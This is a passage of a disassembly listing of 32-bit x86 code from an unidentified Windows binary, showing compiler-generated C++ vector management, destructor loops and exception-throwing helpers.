		push	dword ptr [ebp-18h]
		mov	ecx, [ebp-1Ch]
		call	sub_4070DE
		add	esp, 10h
		mov	[esi+8], eax


loc_406712:				; CODE XREF: sub_406694+2Cj
					; sub_406694+37j
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_406694	endp


; =============== S U B	R O U T	I N E =======================================



sub_406725	proc near		; DATA XREF: .vty:00420580o
		mov	esi, [ebp+8]
		call	sub_405F66
		push	0
		push	0
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_406725	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_406737	proc near		; CODE XREF: sub_405F66+Ap
					; sub_406D1A+4Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		jmp	short loc_406744
; ---------------------------------------------------------------------------


loc_40673C:				; CODE XREF: sub_406737+11j
		call	sub_4072AA
		add	esi, 38h


loc_406744:				; CODE XREF: sub_406737+3j
		cmp	esi, [esp+4+arg_0]
		jnz	short loc_40673C
		pop	esi
		retn	4
sub_406737	endp


; =============== S U B	R O U T	I N E =======================================



sub_40674E	proc near		; CODE XREF: sub_4065C8+22p
		mov	eax, offset loc_41B21B
		call	sub_41AE44
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		mov	ebx, ecx
		push	edi
		mov	eax, ebx
		mov	[ebp-10h], esp
		call	sub_406949
		xor	ecx, ecx
		cmp	eax, ecx
		mov	[esi+4], ecx
		mov	[esi+8], ecx
		mov	[esi+0Ch], ecx
		jz	short loc_4067CC
		mov	edi, esi
		call	sub_40695F
		test	al, al
		jz	short loc_4067CC
		and	dword ptr [ebp-4], 0
		mov	eax, [ebx+8]
		cmp	[ebx+4], eax
		mov	[ebp-18h], eax
		jbe	short loc_40679B
		call	sub_40DCFC


loc_40679B:				; CODE XREF: sub_40674E+46j
		mov	eax, [ebx+4]
		cmp	eax, [ebx+8]
		mov	[ebp-1Ch], eax
		jbe	short loc_4067AB
		call	sub_40DCFC


loc_4067AB:				; CODE XREF: sub_40674E+56j
		mov	ecx, [esi+4]
		xor	eax, eax
		lea	edi, [ebp-14h]
		stosb
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp+8]
		push	ecx
		push	dword ptr [ebp-18h]
		mov	ecx, [ebp-1Ch]
		call	sub_407141
		add	esp, 10h
		mov	[esi+8], eax


loc_4067CC:				; CODE XREF: sub_40674E+2Cj
					; sub_40674E+37j
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40674E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4067DF	proc near		; DATA XREF: .vty:00420B5Co
		mov	esi, [ebp+8]
		call	sub_405F8B
		push	0
		push	0
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_4067DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4067F1	proc near		; CODE XREF: sub_405F8B+Ap
					; sub_406E16+4Dp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, eax
		cmp	edi, [esp+4+arg_0]
		jz	short loc_406818
		push	esi


loc_4067FB:				; CODE XREF: sub_4067F1+24j
		lea	esi, [edi+1Ch]
		call	sub_405AAC
		push	0
		push	1
		mov	ecx, edi
		call	sub_4013C4
		add	edi, 2Ch
		cmp	edi, [esp+8+arg_0]
		jnz	short loc_4067FB
		pop	esi


loc_406818:				; CODE XREF: sub_4067F1+7j
		pop	edi
		retn	4
sub_4067F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40681C	proc near		; CODE XREF: sub_405FB0+C7p
					; sub_405FB0+1A7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_406C3B
		mov	eax, [ebp+arg_4]
		imul	eax, 74h
		add	esp, 14h
		add	eax, [ebp+arg_0]
		pop	edi
		leave
		retn	0Ch
sub_40681C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40684D	proc near		; CODE XREF: sub_405A66+Bj
					; sub_405FB0+5Bp ...
		mov	eax, offset loc_41AFA6
		call	sub_41AE44
		sub	esp, 4Ch
		push	offset aVectorTTooLong ; "vector<T> too	long"
		lea	ecx, [ebp-2Ch]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-54h]
		call	sub_401869
		push	offset dword_41FEF8
		lea	eax, [ebp-54h]
		push	eax
		mov	dword ptr [ebp-54h], offset off_41C2A8
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_40684D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40688D	proc near		; CODE XREF: sub_405C5B+47p
					; sub_406253+75p ...

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		test	ecx, ecx
		ja	short loc_4068A7
		xor	ecx, ecx


loc_406899:				; CODE XREF: sub_40688D+24j
		mov	eax, ecx
		shl	eax, 2
		push	eax
		call	sub_40DE68
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4068A7:				; CODE XREF: sub_40688D+8j
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 4
		jnb	short loc_406899
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40D873
		push	offset dword_41FEA0
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_10], offset off_41C290
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_40688D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4068D9	proc near		; CODE XREF: sub_4033DA+183p
					; sub_405BDD+62p

arg_0		= dword	ptr  4

		cmp	dword ptr [esi], 0
		jnz	short loc_4068E3
		call	sub_40DCFC


loc_4068E3:				; CODE XREF: sub_4068D9+3j
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	edi
		mov	edi, [esp+4+arg_0]
		shl	edi, 2
		add	eax, edi
		cmp	eax, [ecx+8]
		ja	short loc_4068FC
		cmp	eax, [ecx+4]
		jnb	short loc_406901


loc_4068FC:				; CODE XREF: sub_4068D9+1Cj
		call	sub_40DCFC


loc_406901:				; CODE XREF: sub_4068D9+21j
		add	[esi+4], edi
		mov	eax, esi
		pop	edi
		retn	4
sub_4068D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40690A	proc near		; CODE XREF: sub_406694+1Ap
					; sub_406D1A+13p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_406914
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_406914:				; CODE XREF: sub_40690A+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		push	38h
		cdq
		pop	ecx
		idiv	ecx
		retn
sub_40690A	endp


; =============== S U B	R O U T	I N E =======================================



sub_406920	proc near		; CODE XREF: sub_406694+30p
					; sub_406D1A+DCp
		push	esi
		mov	esi, eax
		cmp	esi, 4924924h
		jbe	short loc_406930
		jmp	sub_40684D
; ---------------------------------------------------------------------------


loc_406930:				; CODE XREF: sub_406920+9j
		mov	ecx, esi
		call	sub_406988
		imul	esi, 38h
		add	esi, eax
		mov	[edi+4], eax
		mov	[edi+8], eax
		mov	[edi+0Ch], esi
		mov	al, 1
		pop	esi
		retn
sub_406920	endp


; =============== S U B	R O U T	I N E =======================================



sub_406949	proc near		; CODE XREF: sub_40674E+1Ap
					; sub_406E16+13p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_406953
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_406953:				; CODE XREF: sub_406949+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		push	2Ch
		cdq
		pop	ecx
		idiv	ecx
		retn
sub_406949	endp


; =============== S U B	R O U T	I N E =======================================



sub_40695F	proc near		; CODE XREF: sub_40674E+30p
					; sub_406E16+DCp
		push	esi
		mov	esi, eax
		cmp	esi, 5D1745Dh
		jbe	short loc_40696F
		jmp	sub_40684D
; ---------------------------------------------------------------------------


loc_40696F:				; CODE XREF: sub_40695F+9j
		mov	ecx, esi
		call	sub_4069D2
		imul	esi, 2Ch
		add	esi, eax
		mov	[edi+4], eax
		mov	[edi+8], eax
		mov	[edi+0Ch], esi
		mov	al, 1
		pop	esi
		retn
sub_40695F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406988	proc near		; CODE XREF: sub_406920+12p
					; sub_409E2A+8Ap

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		test	ecx, ecx
		ja	short loc_4069A0
		xor	ecx, ecx


loc_406994:				; CODE XREF: sub_406988+22j
		imul	ecx, 38h
		push	ecx
		call	sub_40DE68
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4069A0:				; CODE XREF: sub_406988+8j
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 38h
		jnb	short loc_406994
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40D873
		push	offset dword_41FEA0
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_10], offset off_41C290
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_406988	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4069D2	proc near		; CODE XREF: sub_40695F+12p
					; sub_40A022+8Cp

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		test	ecx, ecx
		ja	short loc_4069EA
		xor	ecx, ecx


loc_4069DE:				; CODE XREF: sub_4069D2+22j
		imul	ecx, 2Ch
		push	ecx
		call	sub_40DE68
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4069EA:				; CODE XREF: sub_4069D2+8j
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	ecx
		cmp	eax, 2Ch
		jnb	short loc_4069DE
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_40D873
		push	offset dword_41FEA0
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_10], offset off_41C290
		call	sub_4107BC
		int	3		; Trap to Debugger
sub_4069D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A1C	proc near		; CODE XREF: sub_402BCF+103p
					; sub_4033DA+270p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_10]
		push	esi
		push	edi
		mov	edi, [ebp+arg_C]
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_14]
		lea	esi, [ebp+var_8]
		mov	[ebp+var_4], eax
		call	sub_40702B
		mov	ecx, [eax]
		mov	esi, [ebp+arg_4]
		cmp	esi, [ebp+arg_C]
		mov	eax, [eax+4]
		mov	[ebx], ecx
		mov	[ebx+4], eax
		jz	short loc_406A67
		mov	edi, [ebp+arg_14]
		sub	edi, esi


loc_406A54:				; CODE XREF: sub_406A1C+49j
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_40F97B
		mov	[edi+esi], al
		inc	esi
		cmp	esi, [ebp+arg_C]
		pop	ecx
		jnz	short loc_406A54


loc_406A67:				; CODE XREF: sub_406A1C+31j
		pop	edi
		mov	eax, ebx
		pop	esi
		leave
		retn
sub_406A1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_406A6D	proc near		; CODE XREF: sub_402E64+BAp
					; sub_4081BF+5Fp ...

arg_0		= dword	ptr  4

		push	edi
		push	[esp+4+arg_0]
		call	sub_40D970
		pop	ecx
		push	[esp+4+arg_0]
		mov	ecx, [esi+14h]
		mov	edi, eax
		mov	eax, esi
		call	sub_4059BE
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edi
		retn
sub_406A6D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406A8F	proc near		; CODE XREF: sub_4056BC+43p
					; sub_4056BC+9Ep ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		sub	eax, edi
		push	1Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		imul	esi, 1Ch
		add	esi, ebx
		cmp	edi, [esp+0Ch+arg_0]
		jz	short loc_406AC7
		sub	ebx, edi


loc_406AB1:				; CODE XREF: sub_406A8F+36j
		push	0FFFFFFFFh
		push	0
		push	edi
		lea	ecx, [ebx+edi]
		call	sub_401315
		add	edi, 1Ch
		cmp	edi, [esp+0Ch+arg_0]
		jnz	short loc_406AB1


loc_406AC7:				; CODE XREF: sub_406A8F+1Ej
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_406A8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406ACD	proc near		; CODE XREF: sub_4056BC+ECp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407078
		add	esp, 10h
		pop	edi
		leave
		retn	8
sub_406ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AF1	proc near		; CODE XREF: sub_405B80+25p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		sub	eax, ebx
		push	74h
		cdq
		pop	ecx
		idiv	ecx
		mov	edi, eax
		imul	edi, 74h
		add	edi, [ebp+arg_4]
		cmp	ebx, [ebp+arg_0]
		jz	short loc_406B31
		mov	eax, [ebp+arg_4]
		sub	eax, ebx
		mov	[ebp+arg_4], eax
		jmp	short loc_406B1F
; ---------------------------------------------------------------------------


loc_406B1C:				; CODE XREF: sub_406AF1+3Ej
		mov	eax, [ebp+arg_4]


loc_406B1F:				; CODE XREF: sub_406AF1+29j
		lea	esi, [eax+ebx]
		mov	eax, ebx
		call	sub_406C9C
		add	ebx, 74h
		cmp	ebx, [ebp+arg_0]
		jnz	short loc_406B1C


loc_406B31:				; CODE XREF: sub_406AF1+1Fj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_406AF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_406B39	proc near		; CODE XREF: sub_405C5B+63p
					; sub_405C5B+7Ep ...

arg_0		= dword	ptr  4

		sub	eax, [esp+arg_0]
		push	esi
		sar	eax, 2
		lea	eax, ds:0[eax*4]
		lea	esi, [eax+ecx]
		jz	short loc_406B5C
		push	eax
		push	[esp+8+arg_0]
		push	eax
		push	ecx
		call	sub_40D807
		add	esp, 10h


loc_406B5C:				; CODE XREF: sub_406B39+12j
		mov	eax, esi
		pop	esi
		retn
sub_406B39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B60	proc near		; CODE XREF: sub_405FB0+B6p
					; sub_405FB0+D6p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_4]
		stosb
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40765F
		add	esp, 10h
		pop	edi
		leave
		retn	8
sub_406B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B84	proc near		; CODE XREF: sub_405FB0+21Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		sub	eax, [ebp+arg_0]
		push	esi
		push	edi
		cdq
		push	74h
		pop	ecx
		idiv	ecx
		mov	edi, [ebp+arg_4]
		imul	eax, 74h
		sub	edi, eax
		cmp	[ebp+arg_0], ebx
		jz	short loc_406BC2
		mov	eax, [ebp+arg_4]
		sub	eax, ebx
		mov	[ebp+arg_4], eax
		jmp	short loc_406BB0
; ---------------------------------------------------------------------------


loc_406BAD:				; CODE XREF: sub_406B84+3Cj
		mov	eax, [ebp+arg_4]


loc_406BB0:				; CODE XREF: sub_406B84+27j
		sub	ebx, 74h
		lea	esi, [eax+ebx]
		mov	eax, ebx
		call	sub_406C9C
		cmp	ebx, [ebp+arg_0]
		jnz	short loc_406BAD


loc_406BC2:				; CODE XREF: sub_406B84+1Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_406B84	endp


; =============== S U B	R O U T	I N E =======================================



sub_406BCA	proc near		; CODE XREF: sub_406253+85p
					; sub_406253+A0p ...

arg_0		= dword	ptr  4

		sub	eax, [esp+arg_0]
		push	esi
		sar	eax, 2
		lea	eax, ds:0[eax*4]
		lea	esi, [eax+ecx]
		jz	short loc_406BED
		push	eax
		push	[esp+8+arg_0]
		push	eax
		push	ecx
		call	sub_40D807
		add	esp, 10h


loc_406BED:				; CODE XREF: sub_406BCA+12j
		mov	eax, esi
		pop	esi
		retn	4
sub_406BCA	endp

; ---------------------------------------------------------------------------


loc_406BF3:				; CODE XREF: .vty:0041B302j
		push	edi
		lea	edi, [esi+1Ch]
		call	sub_406C09
		push	0
		push	1
		mov	ecx, esi
		call	sub_4013C4
		pop	edi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_406C09	proc near		; CODE XREF: sub_4055A2+24p
					; sub_406631+33p ...
		push	esi
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_406C2D
		push	ebx
		mov	ebx, [edi+8]
		jmp	short loc_406C1F
; ---------------------------------------------------------------------------


loc_406C17:				; CODE XREF: sub_406C09+18j
		call	sub_407598
		add	esi, 5Ch


loc_406C1F:				; CODE XREF: sub_406C09+Cj
		cmp	esi, ebx
		jnz	short loc_406C17
		push	dword ptr [edi+4]
		call	sub_40DD8A
		pop	ecx
		pop	ebx


loc_406C2D:				; CODE XREF: sub_406C09+6j
		and	dword ptr [edi+4], 0
		and	dword ptr [edi+8], 0
		and	dword ptr [edi+0Ch], 0
		pop	esi
		retn
sub_406C09	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C3B	proc near		; CODE XREF: sub_40681C+1Bp
		mov	eax, offset loc_41B3F0
		call	sub_41AE44
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		and	dword ptr [ebp-4], 0
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-14h], eax


loc_406C58:				; CODE XREF: sub_406C3B+35j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_406C8D
		push	dword ptr [ebp+8]
		mov	ecx, [ebp+10h]
		call	sub_406F12
		dec	dword ptr [ebp+0Ch]
		add	dword ptr [ebp+8], 74h
		jmp	short loc_406C58
; ---------------------------------------------------------------------------


loc_406C72:				; DATA XREF: .vty:00420F5Co
		mov	edi, [ebp-14h]
		jmp	short loc_406C7F
; ---------------------------------------------------------------------------


loc_406C77:				; CODE XREF: sub_406C3B+47j
		call	sub_405989
		add	edi, 74h


loc_406C7F:				; CODE XREF: sub_406C3B+3Aj
		cmp	edi, [ebp+8]
		jnz	short loc_406C77
		push	0
		push	0
		call	sub_4107BC


loc_406C8D:				; CODE XREF: sub_406C3B+21j
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
sub_406C3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_406C9C	proc near		; CODE XREF: sub_405FB0+1C7p
					; sub_405FB0+231p ...
		push	ecx
		push	ebx
		push	edi
		mov	edi, eax
		mov	ebx, edi
		mov	eax, esi
		call	sub_406D1A
		lea	ebx, [edi+10h]
		lea	eax, [esi+10h]
		call	sub_406E16
		push	0FFFFFFFFh
		xor	ebx, ebx
		push	ebx
		lea	eax, [edi+20h]
		push	eax
		lea	ecx, [esi+20h]
		call	sub_401315
		push	0FFFFFFFFh
		push	ebx
		lea	eax, [edi+3Ch]
		push	eax
		lea	ecx, [esi+3Ch]
		call	sub_401315
		push	0FFFFFFFFh
		push	ebx
		add	edi, 58h
		push	edi
		lea	ecx, [esi+58h]
		call	sub_401315
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	ecx
		retn
sub_406C9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_406CEA	proc near		; CODE XREF: sub_407454+5Ap
					; sub_40BDCD+C0p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		push	ecx
		push	esi
		push	edi
		push	[esp+0Ch+arg_4]
		mov	edi, [esp+10h+arg_C]
		push	dword ptr [edi+4]
		push	edi
		call	sub_406F3C
		mov	ecx, [esp+0Ch+arg_0]
		xor	edx, edx
		inc	edx
		mov	esi, eax
		call	sub_405EBC
		mov	[edi+4], esi
		mov	eax, [esi+4]
		pop	edi
		mov	[eax], esi
		pop	esi
		pop	ecx
		retn	10h
sub_406CEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D1A	proc near		; CODE XREF: sub_406C9C+9p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, eax
		cmp	esi, ebx
		push	edi
		jz	loc_406E10
		mov	eax, ebx
		call	sub_40690A
		test	eax, eax
		jnz	short loc_406D40
		call	sub_406FAF
		jmp	loc_406E10
; ---------------------------------------------------------------------------


loc_406D40:				; CODE XREF: sub_406D1A+1Aj
		mov	eax, ebx
		call	sub_40690A
		mov	edi, eax
		mov	eax, esi
		call	sub_40690A
		cmp	edi, eax
		ja	short loc_406D7E
		push	dword ptr [esi+4]
		mov	eax, [ebx+4]
		push	dword ptr [ebx+8]
		call	sub_4071B0
		pop	ecx
		pop	ecx
		push	dword ptr [esi+8]
		call	sub_406737
		mov	eax, ebx
		call	sub_40690A
		imul	eax, 38h
		add	eax, [esi+4]
		jmp	loc_406E0D
; ---------------------------------------------------------------------------


loc_406D7E:				; CODE XREF: sub_406D1A+38j
		mov	edi, [esi+4]
		test	edi, edi
		jnz	short loc_406D8A
		and	[ebp+var_4], edi
		jmp	short loc_406D98
; ---------------------------------------------------------------------------


loc_406D8A:				; CODE XREF: sub_406D1A+69j
		mov	eax, [esi+0Ch]
		sub	eax, edi
		push	38h
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_4], eax


loc_406D98:				; CODE XREF: sub_406D1A+6Ej
		mov	eax, ebx
		call	sub_40690A
		cmp	eax, [ebp+var_4]
		ja	short loc_406DC7
		mov	eax, esi
		call	sub_40690A
		push	dword ptr [esi+4]
		mov	edi, eax
		mov	eax, [ebx+4]
		imul	edi, 38h
		add	edi, eax
		push	edi
		call	sub_4071B0
		pop	ecx
		pop	ecx
		push	dword ptr [esi+8]
		mov	ecx, edi
		jmp	short loc_406E05
; ---------------------------------------------------------------------------


loc_406DC7:				; CODE XREF: sub_406D1A+88j
		test	edi, edi
		jz	short loc_406DDE
		push	dword ptr [esi+8]
		mov	eax, edi
		call	sub_406737
		push	dword ptr [esi+4]
		call	sub_40DD8A
		pop	ecx


loc_406DDE:				; CODE XREF: sub_406D1A+AFj
		mov	eax, ebx
		call	sub_40690A
		xor	ecx, ecx
		cmp	eax, ecx
		mov	[esi+4], ecx
		mov	[esi+8], ecx
		mov	[esi+0Ch], ecx
		jz	short loc_406E10
		mov	edi, esi
		call	sub_406920
		test	al, al
		jz	short loc_406E10
		push	dword ptr [esi+4]
		mov	ecx, [ebx+4]


loc_406E05:				; CODE XREF: sub_406D1A+ABj
		push	dword ptr [ebx+8]
		call	sub_4071F6


loc_406E0D:				; CODE XREF: sub_406D1A+5Fj
		mov	[esi+8], eax


loc_406E10:				; CODE XREF: sub_406D1A+Bj
					; sub_406D1A+21j ...
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_406D1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E16	proc near		; CODE XREF: sub_406C9C+14p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, eax
		cmp	esi, ebx
		push	edi
		jz	loc_406F0C
		mov	eax, ebx
		call	sub_406949
		test	eax, eax
		jnz	short loc_406E3C
		call	sub_406FEC
		jmp	loc_406F0C
; ---------------------------------------------------------------------------


loc_406E3C:				; CODE XREF: sub_406E16+1Aj
		mov	eax, ebx
		call	sub_406949
		mov	edi, eax
		mov	eax, esi
		call	sub_406949
		cmp	edi, eax
		ja	short loc_406E7A
		push	dword ptr [esi+4]
		mov	eax, [ebx+4]
		push	dword ptr [ebx+8]
		call	sub_40721A
		pop	ecx
		pop	ecx
		push	dword ptr [esi+8]
		call	sub_4067F1
		mov	eax, ebx
		call	sub_406949
		imul	eax, 2Ch
		add	eax, [esi+4]
		jmp	loc_406F09
; ---------------------------------------------------------------------------


loc_406E7A:				; CODE XREF: sub_406E16+38j
		mov	edi, [esi+4]
		test	edi, edi
		jnz	short loc_406E86
		and	[ebp+var_4], edi
		jmp	short loc_406E94
; ---------------------------------------------------------------------------


loc_406E86:				; CODE XREF: sub_406E16+69j
		mov	eax, [esi+0Ch]
		sub	eax, edi
		push	2Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_4], eax


loc_406E94:				; CODE XREF: sub_406E16+6Ej
		mov	eax, ebx
		call	sub_406949
		cmp	eax, [ebp+var_4]
		ja	short loc_406EC3
		mov	eax, esi
		call	sub_406949
		push	dword ptr [esi+4]
		mov	edi, eax
		mov	eax, [ebx+4]
		imul	edi, 2Ch
		add	edi, eax
		push	edi
		call	sub_40721A
		pop	ecx
		pop	ecx
		push	dword ptr [esi+8]
		mov	ecx, edi
		jmp	short loc_406F01
; ---------------------------------------------------------------------------


loc_406EC3:				; CODE XREF: sub_406E16+88j
		test	edi, edi
		jz	short loc_406EDA
		push	dword ptr [esi+8]
		mov	eax, edi
		call	sub_4067F1
		push	dword ptr [esi+4]
		call	sub_40DD8A
		pop	ecx


loc_406EDA:				; CODE XREF: sub_406E16+AFj
		mov	eax, ebx
		call	sub_406949
		xor	ecx, ecx
		cmp	eax, ecx
		mov	[esi+4], ecx
		mov	[esi+8], ecx
		mov	[esi+0Ch], ecx
		jz	short loc_406F0C
		mov	edi, esi
		call	sub_40695F
		test	al, al
		jz	short loc_406F0C
		push	dword ptr [esi+4]
		mov	ecx, [ebx+4]


loc_406F01:				; CODE XREF: sub_406E16+ABj
		push	dword ptr [ebx+8]
		call	sub_40B203


loc_406F09:				; CODE XREF: sub_406E16+5Fj
		mov	[esi+8], eax


loc_406F0C:				; CODE XREF: sub_406E16+Bj
					; sub_406E16+21j ...
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_406E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F12	proc near		; CODE XREF: sub_406C3B+29p
					; sub_40765F+28p
		mov	eax, offset loc_41B3E6
		call	sub_41AE44
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_406F2E
		push	dword ptr [ebp+8]
		call	sub_4065C8


loc_406F2E:				; CODE XREF: sub_406F12+12j
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		leave
		retn	4
sub_406F12	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_406F3C	proc near		; CODE XREF: sub_406CEA+Fp
		mov	eax, offset loc_41AFF3
		call	sub_41AE44
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		push	40h
		call	sub_40DE68
		and	dword ptr [ebp-4], 0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		mov	[ebp-14h], esi
		jz	short loc_406F69
		mov	eax, [ebp+8]
		mov	[esi], eax


loc_406F69:				; CODE XREF: sub_406F3C+26j
		lea	eax, [esi+4]
		test	eax, eax
		jz	short loc_406F75
		mov	ecx, [ebp+0Ch]
		mov	[eax], ecx


loc_406F75:				; CODE XREF: sub_406F3C+32j
		lea	eax, [esi+8]
		test	eax, eax
		mov	byte ptr [ebp-4], 1
		jz	short loc_406F89
		mov	edi, [ebp+10h]
		push	eax
		call	sub_407260


loc_406F89:				; CODE XREF: sub_406F3C+42j
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	0Ch
sub_406F3C	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F9C	proc near		; DATA XREF: .vty:00420528o
		push	dword ptr [ebp-14h]
		call	sub_40DD8A
		pop	ecx
		push	0
		push	0
